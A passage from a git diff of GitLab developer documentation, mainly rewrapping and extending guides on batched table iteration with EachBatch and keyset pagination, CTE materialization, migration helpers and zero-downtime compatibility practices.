+even though the range size is limited to a certain threshold (`10,000` in the previous example) this
+threshold does not translate to the size of the returned dataset. That happens because when taking
+`n` possible values of attributes, one can't tell for sure that the number of records that contains
+them will be less than `n`.
## Column definition
-`EachBatch` uses the primary key of the model by default for the iteration. This works most of the cases, however in some cases, you might want to use a different column for the iteration.
+`EachBatch` uses the primary key of the model by default for the iteration. This works most of the
+cases, however in some cases, you might want to use a different column for the iteration.
```ruby
Project.distinct.each_batch(column: :creator_id, of: 10) do |relation|
@@ -78,27 +83,38 @@ end
The query above iterates over the project creators and prints them out without duplications.
NOTE:
-In case the column is not unique (no unique index definition), calling the `distinct` method on the relation is necessary. Using not unique column without `distinct` may result in `each_batch` falling into endless loop as described at following [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/285097)
+In case the column is not unique (no unique index definition), calling the `distinct` method on
+the relation is necessary. Using not unique column without `distinct` may result in `each_batch`
+falling into an endless loop as described in following
+[issue](https://gitlab.com/gitlab-org/gitlab/-/issues/285097).
## `EachBatch` in data migrations
-When dealing with data migrations the preferred way to iterate over large volume of data is using `EachBatch`.
+When dealing with data migrations the preferred way to iterate over a large volume of data is using
+`EachBatch`.
A special case of data migration is a [background migration](background_migrations.md#scheduling)
-where the actual data modification is executed in a background job. The migration code that determines
-the data ranges (slices) and schedules the background jobs uses `each_batch`.
+where the actual data modification is executed in a background job. The migration code that
+determines the data ranges (slices) and schedules the background jobs uses `each_batch`.
## Efficient usage of `each_batch`
-`EachBatch` helps iterating over large tables. It's important to highlight that `EachBatch` is not going to magically solve all iteration related performance problems and it might not help at all in some scenarios. From the database point of view, correctly configured database indexes are also necessary to make `EachBatch` perform well.
+`EachBatch` helps to iterate over large tables. It's important to highlight that `EachBatch` is
+not going to magically solve all iteration related performance problems and it might not help at
+all in some scenarios. From the database point of view, correctly configured database indexes are
+also necessary to make `EachBatch` perform well.
### Example 1: Simple iteration
-Let's consider that we want to iterate over the `users` table and print the `User` records to the standard output. The `users` table contains millions of records, thus running one query to fetch the users will likely time out.
+Let's consider that we want to iterate over the `users` table and print the `User` records to the
+standard output. The `users` table contains millions of records, thus running one query to fetch
+the users will likely time out.
![Users table overview](img/each_batch_users_table_v13_7.png)
-This is a simplified version of the `users` table which contains several rows. We have a few smaller gaps in the `id` column to make the example a bit more realistic (a few records were already deleted). Currently we have one index on the `id` field.
+This is a simplified version of the `users` table which contains several rows. We have a few
+smaller gaps in the `id` column to make the example a bit more realistic (a few records were
+already deleted). Currently, we have one index on the `id` field.
Loading all users into memory (avoid):
@@ -117,9 +133,10 @@ User.each_batch(of: 5) do |relation|
end
```
-#### How does `each_batch` work?
+#### How `each_batch` works
-As the first step, it finds the lowest `id` (start `id`) in the table by executing the following database query:
+As the first step, it finds the lowest `id` (start `id`) in the table by executing the following
+database query:
```sql
SELECT "users"."id" FROM "users" ORDER BY "users"."id" ASC LIMIT 1
@@ -127,9 +144,12 @@ SELECT "users"."id" FROM "users" ORDER BY "users"."id" ASC LIMIT 1
![Reading the start id value](img/each_batch_users_table_iteration_1_v13_7.png)
-Notice that the query only reads data from the index (`INDEX ONLY SCAN`), the table is not accessed. Database indexes are sorted so taking out the first item is a very cheap operation.
+Notice that the query only reads data from the index (`INDEX ONLY SCAN`), the table is not
+accessed. Database indexes are sorted so taking out the first item is a very cheap operation.
-The next step is to find the next `id` (end `id`) which should respect the batch size configuration. In this example we used batch size of 5. `EachBatch` uses the `OFFSET` clause to get a "shifted" `id` value.
+The next step is to find the next `id` (end `id`) which should respect the batch size
+configuration. In this example we used a batch size of 5. `EachBatch` uses the `OFFSET` clause
+to get a "shifted" `id` value.
```sql
SELECT "users"."id" FROM "users" WHERE "users"."id" >= 1 ORDER BY "users"."id" ASC LIMIT 1 OFFSET 5
@@ -137,19 +157,25 @@ SELECT "users"."id" FROM "users" WHERE "users"."id" >= 1 ORDER BY "users"."id" A
![Reading the end id value](img/each_batch_users_table_iteration_2_v13_7.png)
-Again, the query only looks into the index. The `OFFSET 5` takes out the sixth `id` value: this query reads a maximum of six items from the index regardless of the table size or the iteration count.
+Again, the query only looks into the index. The `OFFSET 5` takes out the sixth `id` value: this
+query reads a maximum of six items from the index regardless of the table size or the iteration
+count.
-At this point we know the `id` range for the first batch. Now it's time to construct the query for the `relation` block.
+At this point, we know the `id` range for the first batch. Now it's time to construct the query
+for the `relation` block.
```sql
SELECT "users".* FROM "users" WHERE "users"."id" >= 1 AND "users"."id" < 302
```
-![Reading the rows from the users table](img/each_batch_users_table_iteration_3_v13_7.png)
+![Reading the rows from the `users` table](img/each_batch_users_table_iteration_3_v13_7.png)
-Notice the `<` sign. Previously six items were read from the index and in this query the last value is "excluded". The query will look at the index to get the location of the five `user` rows on the disk and read the rows from the table. The returned array is processed in Ruby.
+Notice the `<` sign. Previously six items were read from the index and in this query, the last
+value is "excluded". The query will look at the index to get the location of the five `user`
+rows on the disk and read the rows from the table. The returned array is processed in Ruby.
-The first iteration is done. For the next iteration, the last `id` value is reused from the previous iteration in order to find out the next end `id` value.
+The first iteration is done. For the next iteration, the last `id` value is reused from the
+previous iteration in order to find out the next end `id` value.
```sql
SELECT "users"."id" FROM "users" WHERE "users"."id" >= 302 ORDER BY "users"."id" ASC LIMIT 1 OFFSET 5
@@ -167,7 +193,8 @@ SELECT "users".* FROM "users" WHERE "users"."id" >= 302 AND "users"."id" < 353
### Example 2: Iteration with filters
-Building on top of the previous example, we want to print users with zero sign-in count. We keep track of the number of sign-ins in the `sign_in_count` column so we write the following code:
+Building on top of the previous example, we want to print users with zero sign-in count. We keep
+track of the number of sign-ins in the `sign_in_count` column so we write the following code:
```ruby
users = User.where(sign_in_count: 0)
@@ -183,7 +210,10 @@ end
SELECT "users"."id" FROM "users" WHERE "users"."sign_in_count" = 0 ORDER BY "users"."id" ASC LIMIT 1
```
-Selecting only the `id` column and ordering by `id` is going to "force" the database to use the index on the `id` (primary key index) column, however we also have an extra condition on the `sign_in_count` column. The column is not part of the index, so the database needs to look into the actual table to find the first matching row.
+Selecting only the `id` column and ordering by `id` is going to "force" the database to use the
+index on the `id` (primary key index) column however, we also have an extra condition on the
+`sign_in_count` column. The column is not part of the index, so the database needs to look into
+the actual table to find the first matching row.
![Reading the index with extra filter](img/each_batch_users_table_filter_v13_7.png)
@@ -193,7 +223,11 @@ The number of scanned rows depends on the data distribution in the table.
- Best case scenario: the first user was never logged in. The database reads only one row.
- Worst case scenario: all users were logged in at least once. The database reads all rows.
-In this particular example the database had to read 10 rows (regardless of our batch size setting) to determine the first `id` value. In a "real-world" application it's hard to predict whether the filtering is going to cause problems or not. In case of GitLab, verifying the data on a production replica is a good start, but keep in mind that data distribution on GitLab.com can be different from self-managed instances.
+In this particular example, the database had to read 10 rows (regardless of our batch size setting)
+to determine the first `id` value. In a "real-world" application it's hard to predict whether the
+filtering is going to cause problems or not. In the case of GitLab, verifying the data on a
+production replica is a good start, but keep in mind that data distribution on GitLab.com can be
+different from self-managed instances.
#### Improve filtering with `each_batch`
@@ -207,21 +241,26 @@ This is how our table and the newly created index looks like:
![Reading the specialized index](img/each_batch_users_table_filtered_index_v13_7.png)
-This index definition covers the conditions on the `id` and `sign_in_count` columns thus makes the `each_batch` queries very effective (similar to the simple iteration example).
+This index definition covers the conditions on the `id` and `sign_in_count` columns thus makes the
+`each_batch` queries very effective (similar to the simple iteration example).
-It's rare when a user was never signed in so we anticipate small index size. Including only the `id` in the index definition also helps keeping the index size small.
+It's rare when a user was never signed in so we a anticipate small index size. Including only the
+`id` in the index definition also helps to keep the index size small.
##### Index on columns
-Later on we might want to iterate over the table filtering for different `sign_in_count` values, in those cases we cannot use the previously suggested conditional index because the `WHERE` condition does not match with our new filter (`sign_in_count > 10`).
+Later on, we might want to iterate over the table filtering for different `sign_in_count` values, in
+those cases we cannot use the previously suggested conditional index because the `WHERE` condition
+does not match with our new filter (`sign_in_count > 10`).
To address this problem, we have two options:
- Create another, conditional index to cover the new query.
-- Replace the index with more generalized configuration.
+- Replace the index with a more generalized configuration.
NOTE:
-Having multiple indexes on the same table and on the same columns could be a performance bottleneck when writing data.
+Having multiple indexes on the same table and on the same columns could be a performance bottleneck
+when writing data.
Let's consider the following index (avoid):
@@ -229,15 +268,18 @@ Let's consider the following index (avoid):
CREATE INDEX index_on_users_never_logged_in ON users (id, sign_in_count)
```
-The index definition starts with the `id` column which makes the index very inefficient from data selectivity point of view.
+The index definition starts with the `id` column which makes the index very inefficient from data
+selectivity point of view.
```sql
SELECT "users"."id" FROM "users" WHERE "users"."sign_in_count" = 0 ORDER BY "users"."id" ASC LIMIT 1
```
-Executing the query above results in an `INDEX ONLY SCAN`. However, the query still needs to iterate over unknown number of entries in the index, and then find the first item where the `sign_in_count` is `0`.
+Executing the query above results in an `INDEX ONLY SCAN`. However, the query still needs to
+iterate over an unknown number of entries in the index, and then find the first item where the
+`sign_in_count` is `0`.
-![Reading the an ineffective index](img/each_batch_users_table_bad_index_v13_7.png)
+![Reading an ineffective index](img/each_batch_users_table_bad_index_v13_7.png)
We can improve the query significantly by swapping the columns in the index definition (prefer).
@@ -253,11 +295,14 @@ The following index definition is not going to work well with `each_batch` (avoi
CREATE INDEX index_on_users_never_logged_in ON users (sign_in_count)
```
-Since `each_batch` builds range queries based on the `id` column, this index cannot be used efficiently. The DB reads the rows from the table or uses a bitmap search where the primary key index is also read.
+Since `each_batch` builds range queries based on the `id` column, this index cannot be used
+efficiently. The DB reads the rows from the table or uses a bitmap search where the primary
+key index is also read.
##### "Slow" iteration
-Slow iteration means that we use a good index configuration to iterate over the table and apply filtering on the yielded relation.
+Slow iteration means that we use a good index configuration to iterate over the table and
+apply filtering on the yielded relation.
```ruby
User.each_batch(of: 5) do |relation|
@@ -266,7 +311,8 @@ end
```
The iteration uses the primary key index (on the `id` column) which makes it safe from statement
-timeouts. The filter (`sign_in_count: 0`) is applied on the `relation` where the `id` is already constrained (range). The number of rows are limited.
+timeouts. The filter (`sign_in_count: 0`) is applied on the `relation` where the `id` is already
+constrained (range). The number of rows is limited.
Slow iteration generally takes more time to finish. The iteration count is higher and
one iteration could yield fewer records than the batch size. Iterations may even yield
@@ -285,18 +331,19 @@ projects.each_batch do |relation|
end
```
-The iteration uses the `id` column of the `projects` table. The batching does not affect the subquery.
-This means for each iteration, the subquery is executed by the database. This adds a constant "load"
-on the query which often ends up in statement timeouts. We have an unknown number of confidential
-issues, the execution time and the accessed database rows depends on the data distribution in the
-`issues` table.
+The iteration uses the `id` column of the `projects` table. The batching does not affect the
+subquery. This means for each iteration, the subquery is executed by the database. This adds a
+constant "load" on the query which often ends up in statement timeouts. We have an unknown number
+of confidential issues, the execution time and the accessed database rows depend on the data
+distribution in the `issues` table.
NOTE:
Using subqueries works only when the subquery returns a small number of rows.
#### Improving Subqueries
-When dealing with subqueries, a slow iteration approach could work: the filter on `creator_id` can be part of the generated `relation` object.
+When dealing with subqueries, a slow iteration approach could work: the filter on `creator_id`
+can be part of the generated `relation` object.
```ruby
projects = Project.all
@@ -306,7 +353,8 @@ projects.each_batch do |relation|
end
```
-If the query on the `issues` table itself is not performant enough, a nested loop could be constructed. Try to avoid it when possible.
+If the query on the `issues` table itself is not performant enough, a nested loop could be
+constructed. Try to avoid it when possible.
```ruby
projects = Project.all
@@ -320,7 +368,8 @@ projects.each_batch do |relation|
end
```
-If we know that the `issues` table has many more rows than `projects`, it would make sense to flip the queries, where the `issues` table is batched first.
+If we know that the `issues` table has many more rows than `projects`, it would make sense to flip
+the queries, where the `issues` table is batched first.
### Using `JOIN` and `EXISTS`
@@ -331,7 +380,8 @@ When to use `JOINS`:
- `projects` - `project_settings`
- `users` - `user_details`
- `users` - `user_statuses`
-- `LEFT JOIN` works well in this case. Conditions on the joined table need to go to the yielded relation so the iteration is not affected by the data distribution in the joined table.
+- `LEFT JOIN` works well in this case. Conditions on the joined table need to go to the yielded
+relation so the iteration is not affected by the data distribution in the joined table.
Example:
@@ -353,7 +403,8 @@ end
### Complex queries on the relation object
-When the `relation` object has several extra conditions, the execution plans might become "unstable".
+When the `relation` object has several extra conditions, the execution plans might become
+"unstable".
Example:
@@ -370,10 +421,11 @@ end
Here, we expect that the `relation` query reads the `BATCH_SIZE` of user records and then
filters down the results according to the provided queries. The planner might decide that
using a bitmap index lookup with the index on the `confidential` column is a better way to
-execute the query. This can cause unexpectedly high amount of rows to be read and the query
-could time out.
+execute the query. This can cause an unexpectedly high amount of rows to be read and the
+query could time out.
-Problem: we know for sure that the relation is returning maximum `BATCH_SIZE` of records, however the planner does not know this.
+Problem: we know for sure that the relation is returning maximum `BATCH_SIZE` of records
+however, the planner does not know this.
Common table expression (CTE) trick to force the range query to execute first:
@@ -394,4 +446,132 @@ end
### `EachBatch` vs `BatchCount`
-When adding new counters for usage ping, the preferred way to count records is using the `Gitlab::Database::BatchCount` class. The iteration logic implemented in `BatchCount` has similar performance characteristics like `EachBatch`. Most of the tips and suggestions for improving `BatchCount` mentioned above applies to `BatchCount` as well.
+When adding new counters for Service Ping, the preferred way to count records is using the
+`Gitlab::Database::BatchCount` class. The iteration logic implemented in `BatchCount`
+has similar performance characteristics like `EachBatch`. Most of the tips and suggestions
+for improving `BatchCount` mentioned above applies to `BatchCount` as well.
+
+## Iterate with keyset pagination
+
+There are a few special cases where iterating with `EachBatch` does not work. `EachBatch`
+requires one distinct column (usually the primary key), which makes the iteration impossible
+for timestamp columns and tables with composite primary keys.
+
+Where `EachBatch` does not work, you can use
+[keyset pagination](database/pagination_guidelines.md#keyset-pagination) to iterate over the
+table or a range of rows. The scaling and performance characteristics are very similar to
+`EachBatch`.
+
+Examples:
+
+- Iterate over the table in a specific order (timestamp columns) in combination with a tie-breaker
+if column user to sort by does not contain unique values.
+- Iterate over the table with composite primary keys.
+
+### Iterate over the issues in a project by creation date
+
+You can use keyset pagination to iterate over any database column in a specific order (for example,
+`created_at DESC`). To ensure consistent order of the returned records with the same values for
+`created_at`, use a tie-breaker column with unique values (for example, `id`).
+
+Assume you have the following index in the `issues` table:
+
+```sql
+idx_issues_on_project_id_and_created_at_and_id" btree (project_id, created_at, id)
+```
+
+### Fetching records for further processing
+
+The following snippet iterates over issue records within the project using the specified order
+(`created_at, id`).
+
+```ruby
+scope = Issue.where(project_id: 278964).order(:created_at, :id) # id is the tie-breaker
+
+iterator = Gitlab::Pagination::Keyset::Iterator.new(scope: scope)
+
+iterator.each_batch(of: 100) do |records|
+ puts records.map(&:id)
+end
+```
+
+You can add extra filters to the query. This example only lists the issue IDs created in the last
+30 days:
+
+```ruby
+scope = Issue.where(project_id: 278964).where('created_at > ?', 30.days.ago).order(:created_at, :id) # id is the tie-breaker
+
+iterator = Gitlab::Pagination::Keyset::Iterator.new(scope: scope)
+
+iterator.each_batch(of: 100) do |records|
+ puts records.map(&:id)
+end
+```
+
+### Updating records in the batch
+
+For complex `ActiveRecord` queries, the `.update_all` method does not work well, because it
+generates an incorrect `UPDATE` statement.
+You can use raw SQL for updating records in batches:
+
+```ruby
+scope = Issue.where(project_id: 278964).order(:created_at, :id) # id is the tie-breaker
+
+iterator = Gitlab::Pagination::Keyset::Iterator.new(scope: scope)
+
+iterator.each_batch(of: 100) do |records|
+ ApplicationRecord.connection.execute("UPDATE issues SET updated_at=NOW() WHERE issues.id in (#{records.dup.reselect(:id).to_sql})")
+end
+```
+
+NOTE:
+To keep the iteration stable and predictable, avoid updating the columns in the `ORDER BY` clause.
+
+### Iterate over the `merge_request_diff_commits` table
+
+The `merge_request_diff_commits` table uses a composite primary key (`merge_request_diff_id,
+relative_order`), which makes `EachBatch` impossible to use efficiently.
+
+To paginate over the `merge_request_diff_commits` table, you can use the following snippet:
+
+```ruby
+# Custom order object configuration:
+order = Gitlab::Pagination::Keyset::Order.build([
+ Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: 'merge_request_diff_id',
+ order_expression: MergeRequestDiffCommit.arel_table[:merge_request_diff_id].asc,
+ nullable: :not_nullable,
+ distinct: false,
+ ),
+ Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: 'relative_order',
+ order_expression: MergeRequestDiffCommit.arel_table[:relative_order].asc,
+ nullable: :not_nullable,
+ distinct: false,
+ )
+])
+MergeRequestDiffCommit.include(FromUnion) # keyset pagination generates UNION queries
+
+scope = MergeRequestDiffCommit.order(order)
+
+iterator = Gitlab::Pagination::Keyset::Iterator.new(scope: scope)
+
+iterator.each_batch(of: 100) do |records|
+ puts records.map { |record| [record.merge_request_diff_id, record.relative_order] }.inspect
+end
+```
+
+### Order object configuration
+
+Keyset pagination works well with simple `ActiveRecord` `order` scopes
+([first example](iterating_tables_in_batches.md#iterate-over-the-issues-in-a-project-by-creation-date).
+However, in special cases, you need to describe the columns in the `ORDER BY` clause (second example)
+for the underlying keyset pagination library. When the `ORDER BY` configuration cannot be
+automatically determined by the keyset pagination library, an error is raised.
+
+The code comments of the
+[`Gitlab::Pagination::Keyset::Order`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/pagination/keyset/order.rb)
+and [`Gitlab::Pagination::Keyset::ColumnOrderDefinition`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/pagination/keyset/column_order_definition.rb)
+classes give an overview of the possible options for configuring the `ORDER BY` clause. You can
+also find a few code examples in the
+[keyset pagination](database/keyset_pagination.md#complex-order-configuration) documentation.
diff --git a/doc/development/jh_features_review.md b/doc/development/jh_features_review.md
index b139a380344..cb0f8ddbd13 100644
--- a/doc/development/jh_features_review.md
+++ b/doc/development/jh_features_review.md
@@ -29,11 +29,14 @@ See the [merge request process](https://about.gitlab.com/handbook/ceo/chief-of-s
on the JiHu Support handbook.
This page is the single source of truth for JiHu-related processes.
-## Act as EE when `jh/` does not exist
+## Act as EE when `jh/` does not exist or when `EE_ONLY=1`
- In the case of EE repository, `jh/` does not exist so it should just act like EE (or CE when the license is absent)
- In the case of JH repository, `jh/` does exist but `EE_ONLY` environment variable can be set to force it run under EE mode.
-- In the case of JH repository, `jh/` does exist but `FOSS_ONLY` environment variable can be set to force it run under CE mode.
+
+## Act as FOSS when `FOSS_ONLY=1`
+
+- In the case of JH repository, `jh/` does exist but `FOSS_ONLY` environment variable can be set to force it run under FOSS (CE) mode.
## CI pipelines in a JH context
diff --git a/doc/development/logging.md b/doc/development/logging.md
index 45f5b672365..cb1070b49cc 100644
--- a/doc/development/logging.md
+++ b/doc/development/logging.md
@@ -58,12 +58,12 @@ Structured logging solves these problems. Consider the example from an API reque
In a single line, we've included all the information that a user needs
to understand what happened: the timestamp, HTTP method and path, user
-ID, etc.
+ID, and so on.
### How to use JSON logging
Suppose you want to log the events that happen in a project
-importer. You want to log issues created, merge requests, etc. as the
+importer. You want to log issues created, merge requests, and so on, as the
importer progresses. Here's what to do:
1. Look at [the list of GitLab Logs](../administration/logs.md) to see
@@ -174,7 +174,7 @@ Resources:
Similar to timezones, choosing the right time unit to log can impose avoidable overhead. So, whenever
challenged to choose between seconds, milliseconds or any other unit, lean towards _seconds_ as float
-(with microseconds precision, i.e. `Gitlab::InstrumentationHelper::DURATION_PRECISION`).
+(with microseconds precision, that is, `Gitlab::InstrumentationHelper::DURATION_PRECISION`).
In order to make it easier to track timings in the logs, make sure the log key has `_s` as
suffix and `duration` within its name (for example, `view_duration_s`).
diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md
index 973d4042cda..d87b7bcb5af 100644
--- a/doc/development/merge_request_performance_guidelines.md
+++ b/doc/development/merge_request_performance_guidelines.md
@@ -179,9 +179,9 @@ As a counterpart of the `without_sticky_writes` utility,
replicas regardless of the current primary stickiness.
This utility is reserved for cases where queries can tolerate replication lag.
-Internally, our database load balancer classifies the queries based on their main statement (`select`, `update`, `delete`, etc.). When in doubt, it redirects the queries to the primary database. Hence, there are some common cases the load balancer sends the queries to the primary unnecessarily:
+Internally, our database load balancer classifies the queries based on their main statement (`select`, `update`, `delete`, and so on). When in doubt, it redirects the queries to the primary database. Hence, there are some common cases the load balancer sends the queries to the primary unnecessarily:
-- Custom queries (via `exec_query`, `execute_statement`, `execute`, etc.)
+- Custom queries (via `exec_query`, `execute_statement`, `execute`, and so on)
- Read-only transactions
- In-flight connection configuration set
- Sidekiq background jobs
@@ -197,7 +197,18 @@ costly, time-consuming query to the replicas.
Read about [complex queries on the relation object](iterating_tables_in_batches.md#complex-queries-on-the-relation-object) for considerations on how to use CTEs. We have found in some situations that CTEs can become problematic in use (similar to the n+1 problem above). In particular, hierarchical recursive CTE queries such as the CTE in [AuthorizedProjectsWorker](https://gitlab.com/gitlab-org/gitlab/-/issues/325688) are very difficult to optimize and don't scale. We should avoid them when implementing new features that require any kind of hierarchical structure.
-However, in many simpler cases, such as this [example](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43242#note_61416277), CTEs can be quite effective as an optimization fence.
+CTEs have been effectively used as an optimization fence in many simpler cases,
+such as this [example](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43242#note_61416277).
+Beginning in PostgreSQL 12, CTEs are inlined then [optimized by default](https://paquier.xyz/postgresql-2/postgres-12-with-materialize/).
+Keeping the old behavior requires marking CTEs with the keyword `MATERIALIZED`.
+
+When building CTE statements, use the `Gitlab::SQL::CTE` class [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56976) in GitLab 13.11.
+By default, this `Gitlab::SQL::CTE` class forces materialization through adding the `MATERIALIZED` keyword for PostgreSQL 12 and higher.
+`Gitlab::SQL::CTE` automatically omits materialization when PostgreSQL 11 is running
+(this behavior is implemented using a custom arel node `Gitlab::Database::AsWithMaterialized` under the surface).
+
+WARNING:
+We plan to drop the support for PostgreSQL 11. Upgrading to GitLab 14.0 requires PostgreSQL 12 or higher.
## Cached Queries
@@ -556,7 +567,7 @@ to work with you to possibly discover a better solution.
The usage of local storage is a desired solution to use,
especially since we work on deploying applications to Kubernetes clusters.
When you would like to use `Dir.mktmpdir`? In a case when you want for example
-to extract/create archives, perform extensive manipulation of existing data, etc.
+to extract/create archives, perform extensive manipulation of existing data, and so on.
```ruby
Dir.mktmpdir('designs') do |path|
diff --git a/doc/development/migration_style_guide.md b/doc/development/migration_style_guide.md
index 009ead8ba16..f76b053c2bd 100644
--- a/doc/development/migration_style_guide.md
+++ b/doc/development/migration_style_guide.md
@@ -19,8 +19,8 @@ Migrations are **not** allowed to require GitLab installations to be taken
offline ever. Migrations always must be written in such a way to avoid
downtime. In the past we had a process for defining migrations that allowed for
downtime by setting a `DOWNTIME` constant. You may see this when looking at
-older migrations. This process was in place for 4 years without every being
-used and as such we've learnt we can always figure out how to write a migration
+older migrations. This process was in place for 4 years without ever being
+used and as such we've learned we can always figure out how to write a migration
differently to avoid downtime.
When writing your migrations, also consider that databases might have stale data
@@ -35,10 +35,21 @@ For GitLab.com, please take into consideration that regular migrations (under `d
are run before [Canary is deployed](https://gitlab.com/gitlab-com/gl-infra/readiness/-/tree/master/library/canary/#configuration-and-deployment),
and [post-deployment migrations](post_deployment_migrations.md) (`db/post_migrate`) are run after the deployment to production has finished.
+## Create database migrations
+
+To create a migration you can use the following Rails generator:
+
+```shell
+bundle exec rails g migration migration_name_here
+```
+
+This generates the migration file in `db/migrate`.
+
## Schema Changes
Changes to the schema should be committed to `db/structure.sql`. This
-file is automatically generated by Rails, so you normally should not
+file is automatically generated by Rails when you run
+`bundle exec rails db:migrate`, so you normally should not
edit this file by hand. If your migration is adding a column to a
table, that column is added at the bottom. Please do not reorder
columns manually for existing tables as this causes confusion to
@@ -205,6 +216,30 @@ def down
end
```
+**Multiple changes on the same table:**
+
+The helper `with_lock_retries` wraps all operations into a single transaction. When you have the lock,
+you should do as much as possible inside the transaction rather than trying to get another lock later.
+Be careful about running long database statements within the block. The acquired locks are kept until the transaction (block) finishes and depending on the lock type, it might block other database operations.
+
+```ruby
+include Gitlab::Database::MigrationHelpers
+
+def up
+ with_lock_retries do
+ add_column :users, :full_name, :string
+ add_column :users, :bio, :string
+ end
+end
+
+def down
+ with_lock_retries do
+ remove_column :users, :full_name
+ remove_column :users, :bio
+ end
+end
+```
+
**Removing a foreign key:**
```ruby
@@ -264,6 +299,8 @@ end
**Creating a new table when we have two foreign keys:**
+Only one foreign key should be created per migration. This is because [the addition of a foreign key constraint requires a `SHARE ROW EXCLUSIVE` lock on the referenced table](https://www.postgresql.org/docs/12/sql-createtable.html#:~:text=The%20addition%20of%20a%20foreign%20key%20constraint%20requires%20a%20SHARE%20ROW%20EXCLUSIVE%20lock%20on%20the%20referenced%20table), and locking multiple tables in the same transaction should be avoided.
+
For this, we need three migrations:
1. Creating the table without foreign keys (with the indices).
@@ -570,7 +607,7 @@ perform existence checks internally.
When adding a foreign-key constraint to either an existing or a new column also
remember to add an index on the column.
-This is **required** for all foreign-keys, e.g., to support efficient cascading
+This is **required** for all foreign-keys, for example, to support efficient cascading
deleting: when a lot of rows in a table get deleted, the referenced records need
to be deleted too. The database has to look for corresponding records in the
referenced table. Without an index, this results in a sequential scan on the
@@ -943,6 +980,41 @@ derived from the class name or namespace.
Be aware of the limitations [when using models in migrations](#using-models-in-migrations-discouraged).
+### Modifying existing data
+
+In most circumstances, prefer migrating data in **batches** when modifying data in the database.
+
+We introduced a new helper [each_batch_range](https://gitlab.com/gitlab-org/gitlab/-/blob/cd3e0a5cddcb464cb9b8c6e3275839cf57dfa6e2/lib/gitlab/database/dynamic_model_helpers.rb#L28-32) which facilitates the process of iterating over a collection in a performant way. The default size of the batch is defined in the `BATCH_SIZE` constant.
+
+See the following example to get an idea.
+
+**Purging data in batch:**
+
+```ruby
+include ::Gitlab::Database::DynamicModelHelpers
+
+disable_ddl_transaction!
+
+def up
+ each_batch_range('ci_pending_builds', scope: ->(table) { table.ref_protected }, of: BATCH_SIZE) do |min, max|
+ execute <<~SQL
+ DELETE FROM ci_pending_builds
+ USING ci_builds
+ WHERE ci_builds.id = ci_pending_builds.build_id
+ AND ci_builds.status != 'pending'
+ AND ci_builds.type = 'Ci::Build'
+ AND ci_pending_builds.id BETWEEN #{min} AND #{max}
+ SQL
+ end
+end
+```
+
+- The first argument is the table being modified: `'ci_pending_builds'`.
+- The second argument calls a lambda which fetches the relevant dataset selected (the default is set to `.all`): `scope: ->(table) { table.ref_protected }`.
+- The third argument is the batch size (the default is set in the `BATCH_SIZE` constant): `of: BATCH_SIZE`.
+
+Here is an [example MR](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62195) illustrating how to use our new helper.
+
### Renaming reserved paths
When a new route for projects is introduced, it could conflict with any
diff --git a/doc/development/module_with_instance_variables.md b/doc/development/module_with_instance_variables.md
index f298b603429..0f910f20534 100644
--- a/doc/development/module_with_instance_variables.md
+++ b/doc/development/module_with_instance_variables.md
@@ -49,9 +49,9 @@ instance variables in the final giant object, and that's where the problem is.
## Solutions
We should split the giant object into multiple objects, and they communicate
-with each other with the API, i.e. public methods. In short, composition over
+with each other with the API, that is, public methods. In short, composition over
inheritance. This way, each smaller objects would have their own respective
-limited states, i.e. instance variables. If one instance variable goes wrong,
+limited states, that is, instance variables. If one instance variable goes wrong,
we would be very clear that it's from that single small object, because
no one else could be touching it.
diff --git a/doc/development/multi_version_compatibility.md b/doc/development/multi_version_compatibility.md
index acdf8194cb1..3314b5e7ddc 100644
--- a/doc/development/multi_version_compatibility.md
+++ b/doc/development/multi_version_compatibility.md
@@ -43,6 +43,10 @@ Is it ok if all GitLab nodes have been updated, but the post-deployment migratio
Is it ok if all nodes have been updated, and then the post-deployment migrations get executed a couple days later, and then the background migrations take a week to finish?
+### When upgrading a dependency like Rails
+
+Is it ok that some nodes have the new Rails version, but some nodes have the old Rails version?
+
## A walkthrough of an update
Backwards compatibility problems during updates are often very subtle. This is why it is worth familiarizing yourself with [update instructions](../update/index.md), [reference architectures](../administration/reference_architectures/index.md), and [GitLab.com's architecture](https://about.gitlab.com/handbook/engineering/infrastructure/production/architecture/). But to illustrate how these problems arise, take a look at this example of a simple update.
@@ -102,14 +106,33 @@ Yes! We have specific instructions for [zero-downtime updates](../update/index.m
## I've identified a potential backwards compatibility problem, what can I do about it?
+### Coordinate
+
+For major or minor version updates of Rails or Puma:
+
+- Engage the Quality team to thoroughly test the MR.
+- Notify the `@gitlab-org/release/managers` on the MR prior to merging.
+
### Feature flags
-One way to handle this is to use a feature flag that is disabled by
-default. The feature flag can be enabled when the deployment is in a
-consistent state. However, this method of synchronization **does not
-guarantee** that customers with on-premise instances can [update with
-zero downtime](https://docs.gitlab.com/omnibus/update/#zero-downtime-updates)
-because point releases bundle many changes together.
+[Feature flags](feature_flags/index.md) are a tool, not a strategy, for handling backward compatibility problems.
+
+For example, it is safe to add a new feature with frontend and API changes, if both
+frontend and API changes are disabled by default. This can be done with multiple
+merge requests, merged in any order. After all the changes are deployed to
+GitLab.com, the feature can be enabled in ChatOps and validated on GitLab.com.
+
+**However, it is not necessarily safe to enable the feature by default.** If the
+feature flag is removed, or the default is flipped to enabled, in the same release
+where the code was merged, then customers performing [zero-downtime updates](https://docs.gitlab.com/omnibus/update/#zero-downtime-updates)
+will end up running the new frontend code against the previous release's API.
+
+If you're not sure whether it's safe to enable all the changes at once, then one
+option is to enable the API in the **current** release and enable the frontend
+change in the **next** release. This is an example of the [Expand and contract pattern](#expand-and-contract-pattern).
+
+Or you may be able to avoid delaying by a release by modifying the frontend to
+[degrade gracefully](#graceful-degradation) against the previous release's API.
### Graceful degradation
@@ -281,7 +304,7 @@ variable `CI_NODE_TOTAL` being an integer failed. This was caused because after
1. As a result, the [new code](https://gitlab.com/gitlab-org/gitlab/-/blob/42b82a9a3ac5a96f9152aad6cbc583c42b9fb082/app/models/concerns/ci/contextable.rb#L104)
was not run on the API server. The runner's request failed because the
